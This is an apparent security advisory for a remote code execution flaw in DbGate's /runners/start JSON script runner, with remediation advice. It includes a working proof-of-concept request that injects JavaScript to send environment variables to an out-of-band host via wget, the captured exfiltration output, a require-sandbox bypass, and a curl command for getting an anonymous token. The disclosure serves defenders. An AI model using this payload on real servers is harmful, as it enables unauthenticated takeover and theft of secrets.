Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Primary rating from Vendor (https://github.com/dbgate/dbgate) · only source for this CVE.
CVSS VectorVendor: https://github.com/dbgate/dbgate
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionCVE.org
Summary
DbGate's JSON script runner (POST /runners/start) allows remote code execution via code injection in the functionName parameter of JSON script assign commands. The functionName value is interpolated directly into dynamically generated JavaScript source code via string concatenation. The generated code is then executed in a forked Node.js child process.
Details
Step 1: User Input Entry Point
File: packages/api/src/controllers/runners.js - start() method
The /runners/start endpoint accepts a POST body containing a script object. When script.type == 'json', the request follows a different code path than raw shell scripts:
async start({ script }, req) {
if (script.type == 'json') {
if (!platformInfo.isElectron) {
if (!checkSecureDirectoriesInScript(script)) {
return { errorMessage: 'Unallowed directories in script' };
}
}
logJsonRunnerScript(req, script);
const js = await jsonScriptToJavascript(script);
return this.startCore(runid, scriptTemplate(js, false));
}This path skips:
- The
run-shell-scriptpermission check - The
allowShellScriptingplatform-level check
The only validation performed is checkSecureDirectoriesInScript(), which props.fileName values
---
Step 2: JSON-to-JavaScript Conversion (Injection Point)
File: packages/tools/src/ScriptWriter.ts - assignCore() method
The JSON script's commands array contains objects with type: "assign". The assignCore method generates JavaScript by direct string concatenation of user-controlled values:
assignCore(variableName, functionName, props) {
this._put(`const ${variableName} = await ${functionName}(${JSON.stringify(props)});`);
}Both variableName and functionName are attacker-controlled values taken directly from the JSON request body and interpolated into the generated JavaScript source code.
---
Step 3: Function Name Compilation
File: packages/tools/src/packageTools.ts - compileShellApiFunctionName()
Before interpolation, functionName passes through this function:
export function compileShellApiFunctionName(functionName) {
const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);
if (nsMatch) {
return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;
}
return `dbgateApi.${functionName}`;
}An attacker supplying functionName: "x;MALICIOUS_CODE;//" gets:
dbgateApi.x;MALICIOUS_CODE;//This is syntactically valid JavaScript: dbgateApi.x evaluates (and is discarded), MALICIOUS_CODE executes, and // comments out the trailing (${JSON.stringify(props)});.
---
Step 4: Generated JavaScript Template
The complete generated script that gets executed:
const dbgateApi = require(process.env.DBGATE_API);
require = null;
async function run() {
const x = await dbgateApi.x;process.mainModule.require('child_process').execSync('wget <attacker host>');//({});
await dbgateApi.finalizer.run();
}
dbgateApi.runScript(run);Step 5: Execution via child_process.fork()
File: packages/api/src/controllers/runners.js - startCore() method
The generated JavaScript string is written to a temporary file and executed as a new Node.js process via child_process.fork(). This provides the attacker with a full Node.js runtime, including access to process, child_process, fs, net, and all other Node.js built-in modules.
The require = null sandbox can be bypassed via:
process.mainModule.require()- separate reference unaffected by the null assignmentmodule.constructor._load()- internal module loader, also unaffected
---
Additional Injection Points
The same unsanitised string interpolation pattern exists in:
| Endpoint | Parameter | File |
|---|---|---|
POST /runners/start | functionName in assign commands | ScriptWriter.ts - assignCore() |
POST /runners/start | variableName in assign commands | ScriptWriter.ts - assignCore() |
POST /runners/load-reader | functionName parameter | ScriptWriter.ts - loaderScriptTemplate |
PoC
POST /runners/start HTTP/1.1
Host: <dbgate-instance>:3000
Authorization: Bearer <token>
Content-Type: application/json
{
"script": {
"type": "json",
"commands": [
{
"type": "assign",
"variableName": "x",
"functionName": "x;process.mainModule.require('child_process').execSync('wget --post-data \"$(env 2>1&)\" <out of band host>');//",
"props": {}
}
],
"packageNames": []
}
}The request to the out of band host was as follows:
POST / HTTP/1.1
Host: <out of band host>
User-Agent: Wget/1.21.3
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 251
NODE_VERSION=22.22.2
HOSTNAME=4714c7a7405f
YARN_VERSION=1.22.22
HOME=/root
TERM=xterm
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DBGATE_API=/home/dbgate-docker/bundle.js
PWD=/root/.dbgate/run/16c2e85a-8512-4a7e-8678-391637bbdc2c---
A bearer token is required to reach the endpoint, but in what appears to be the default deployment, authentication is disabled. Authentication needs to be explicitly set via environment variables. If this has not been explicitly set, per the defaults, a token can be retrieved using:
curl -sk -H "Content-Type: application/json" -d '{"amoid":"none"}' <dbgate-instance>:3000/auth/loginImpact
| Scenario | Impact | CVSS Score | CVSS Vector |
|---|---|---|---|
Anonymous auth mode (default deployment) (authProvider: "Anonymous") | Unauthenticated RCE | 10.0 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Authenticated deployment | Authenticated RCE - any user with API access | 9.9 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
Timeline
| Date | Event |
|---|---|
| 2026-03-31 | Vulnerability discovered |
| 2026-04-07 | Advisory report prepared and submitted to maintainer |
| 2026-04-22 | Fix released (v7.1.9) |
| 2026-04-24 | Maintainer acknowledgment |
| 2026-05-20 | Public disclosure |
Acknowledgements
- Discovery assisted by Neo from @ProjectDiscovery
- Initial research direction inspired by @H0j3n - https://github.com/runZeroInc/nuclei-templates/blob/main/http/vulnerabilities/dbgate-unauth-rce.yaml
Articles & Coverage 1
AnalysisAI
Unauthenticated remote code execution in DbGate (npm package dbgate-serve, versions <= 7.1.8) lets remote attackers execute arbitrary Node.js code by injecting JavaScript through the functionName parameter of the POST /runners/start JSON script runner. Default Docker deployments ship with Anonymous authentication enabled, making this exploitable without credentials (CVSS 10.0), and a public Nuclei template plus detailed PoC mean publicly available exploit code exists even though no CISA KEV listing was identified at time of analysis.
Technical ContextAI
DbGate is an open-source, web-based database management tool distributed via npm as dbgate-serve and commonly deployed as a Docker container. The flaw is a CWE-20 (Improper Input Validation) leading to a classic code injection (CWE-94 class). In packages/tools/src/ScriptWriter.ts, assignCore() builds JavaScript source via string concatenation: const ${variableName} = await ${functionName}(${JSON.stringify(props)});. The compileShellApiFunctionName() helper only rearranges namespace prefixes and does not sanitize the value, so attacker-controlled functionName content (e.g. x;payload;//) becomes syntactically valid JS that is then written to a temp file and executed by child_process.fork(), yielding a full Node.js runtime. The JSON code path also bypasses the run-shell-script permission check and the allowShellScripting platform flag, and the in-script require = null sandbox is trivially bypassed via process.mainModule.require() or module.constructor._load().
RemediationAI
Vendor-released patch: upgrade dbgate-serve to 7.1.9 or later (https://github.com/dbgate/dbgate/releases/tag/v7.1.9), which is the only complete fix since the same unsanitised interpolation pattern affects both functionName and variableName in POST /runners/start as well as functionName in POST /runners/load-reader. If immediate upgrade is impossible, prevent network reachability to the runner endpoints by placing DbGate behind an authenticating reverse proxy and explicitly configuring a non-Anonymous authProvider via environment variables (side effect: any user with API access can still trigger the authenticated variant, so combine with least-privilege accounts); additionally block external access to /runners/start and /runners/load-reader at the proxy layer (side effect: legitimate scripting/automation workflows will break) and bind DbGate to localhost only where remote use is not required. Hunt for indicators by reviewing the runner job directory under ~/.dbgate/run/ and the logJsonRunnerScript output for assign commands containing semicolons or process.mainModule.require in functionName/variableName values. Full details: https://github.com/advisories/GHSA-8v3q-9vmx-36vc.
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-48340
GHSA-8v3q-9vmx-36vc